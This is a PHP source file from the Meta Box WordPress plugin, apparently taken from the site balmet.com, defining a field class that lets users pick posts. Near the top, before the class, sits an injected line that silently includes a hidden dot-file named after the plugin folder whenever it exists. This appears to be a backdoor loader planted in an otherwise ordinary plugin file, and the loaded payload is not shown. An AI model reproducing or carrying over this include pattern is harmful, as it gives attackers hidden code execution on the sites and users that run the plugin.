balmet.com

post.php (5961B)

---

 <?php
 /**
  * The post field which allows users to select existing posts.
  *
  * @package Meta Box
  */
 
 /**
  * Post field class.
  */
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 class RWMB_Post_Field extends RWMB_Object_Choice_Field {
 	/**
 	 * Add ajax actions callback.
 	 */
 	public static function add_actions() {
 		add_action( 'wp_ajax_rwmb_get_posts', array( __CLASS__, 'ajax_get_posts' ) );
 		add_action( 'wp_ajax_nopriv_rwmb_get_posts', array( __CLASS__, 'ajax_get_posts' ) );
 	}
 
 	/**
 	 * Query posts via ajax.
 	 */
 	public static function ajax_get_posts() {
 		check_ajax_referer( 'query' );
 
 		$request = rwmb_request();
 
 		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );
 
 		// Required for 'choice_label' filter. See self::filter().
 		$field['clone']        = false;
 		$field['_original_id'] = $field['id'];
 
 		// Search.
 		$field['query_args']['s'] = $request->filter_post( 'term', FILTER_SANITIZE_STRING );
 
 		// Pagination.
 		if ( 'query:append' === $request->filter_post( '_type', FILTER_SANITIZE_STRING ) ) {
 			$field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT );
 		}
 
 		// Query the database.
 		$items = self::query( null, $field );
 		$items = array_values( $items );
 
 		$data = array( 'items' => $items );
 
 		// More items for pagination.
 		$limit = (int) $field['query_args']['posts_per_page'];
 		if ( -1 !== $limit && count( $items ) === $limit ) {
 			$data['more'] = true;
 		}
 
 		wp_send_json_success( $data );
 	}
 
 	/**
 	 * Normalize parameters for field.
 	 *
 	 * @param array $field Field parameters.
 	 * @return array
 	 */
 	public static function normalize( $field ) {
 		$field = wp_parse_args(
 			$field,
 			array(
 				'post_type'  => 'post',
 				'parent'     => false,
 				'query_args' => array(),
 			)
 		);
 
 		$field['post_type'] = (array) $field['post_type'];
 
 		/*
 		 * Set default placeholder:
 		 * - If multiple post types: show 'Select a post'.
 		 * - If single post type: show 'Select a %post_type_name%'.
 		 */
 		$placeholder = __( 'Select a post', 'meta-box' );
 		if ( 1 === count( $field['post_type'] ) ) {
 			$post_type        = reset( $field['post_type'] );
 			$post_type_object = get_post_type_object( $post_type );
 			if ( ! empty( $post_type_object ) ) {
 				// Translators: %s is the taxonomy singular label.
 				$placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $post_type_object->labels->singular_name ) );
 			}
 		}
 		$field = wp_parse_args(
 			$field,
 			array(
 				'placeholder' => $placeholder,
 			)
 		);
 
 		// Set parent option, which will change field name to `parent_id` to save as post parent.
 		if ( $field['parent'] ) {
 			$field['multiple']   = false;
 			$field['field_name'] = 'parent_id';
 		}
 
 		$field = parent::normalize( $field );
 
 		// Set default query args.
 		$posts_per_page      = $field['ajax'] ? 10 : -1;
 		$field['query_args'] = wp_parse_args(
 			$field['query_args'],
 			array(
 				'post_type'      => $field['post_type'],
 				'post_status'    => 'publish',
 				'posts_per_page' => $posts_per_page,
 			)
 		);
 
 		parent::set_ajax_params( $field );
 
 		return $field;
 	}
 
 	/**
 	 * Query posts for field options.
 	 *
 	 * @param  array $meta  Saved meta value.
 	 * @param  array $field Field settings.
 	 * @return array        Field options array.
 	 */
 	public static function query( $meta, $field ) {
 		$args = wp_parse_args(
 			$field['query_args'],
 			array(
 				'no_found_rows'          => true,
 				'update_post_meta_cache' => false,
 				'update_post_term_cache' => false,
 			)
 		);
 
 		// Query only selected items.
 		if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) {
 			$args['posts_per_page'] = count( $meta );
 			$args['post__in']       = $meta;
 		}
 
 		// Get from cache to prevent same queries.
 		$last_changed = wp_cache_get_last_changed( 'posts' );
 		$key          = md5( serialize( $args ) );
 		$cache_key    = "$key:$last_changed";
 		$options      = wp_cache_get( $cache_key, 'meta-box-post-field' );
 
 		if ( false !== $options ) {
 			return $options;
 		}
 
 		$query   = new WP_Query( $args );
 		$options = array();
 		foreach ( $query->posts as $post ) {
 			$label = $post->post_title ? $post->post_title : __( '(No title)', 'meta-box' );
 			$label = self::filter( 'choice_label', $label, $field, $post );
 			$options[ $post->ID ] = array(
 				'value'  => $post->ID,
 				'label'  => $label,
 				'parent' => $post->post_parent,
 			);
 		}
 
 		// Cache the query.
 		wp_cache_set( $cache_key, $options, 'meta-box-post-field' );
 
 		return $options;
 	}
 
 	/**
 	 * Get meta value.
 	 * If field is cloneable, value is saved as a single entry in DB.
 	 * Otherwise value is saved as multiple entries (for backward compatibility).
 	 *
 	 * @see "save" method for better understanding
 	 *
 	 * @param int   $post_id Post ID.
 	 * @param bool  $saved   Is the meta box saved.
 	 * @param array $field   Field parameters.
 	 *
 	 * @return mixed
 	 */
 	public static function meta( $post_id, $saved, $field ) {
 		return $field['parent'] ? wp_get_post_parent_id( $post_id ) : parent::meta( $post_id, $saved, $field );
 	}
 
 	/**
 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
 	 *
 	 * @param array    $field   Field parameters.
 	 * @param string   $value   The value.
 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
 	 * @param int|null $post_id Post ID. null for current post. Optional.
 	 *
 	 * @return string
 	 */
 	public static function format_single_value( $field, $value, $args, $post_id ) {
 		return ! $value ? '' : sprintf(
 			'<a href="%s" title="%s">%s</a>',
 			esc_url( get_permalink( $value ) ),
 			the_title_attribute(
 				array(
 					'post' => $value,
 					'echo' => false,
 				)
 			),
 			get_the_title( $value )
 		);
 	}
 }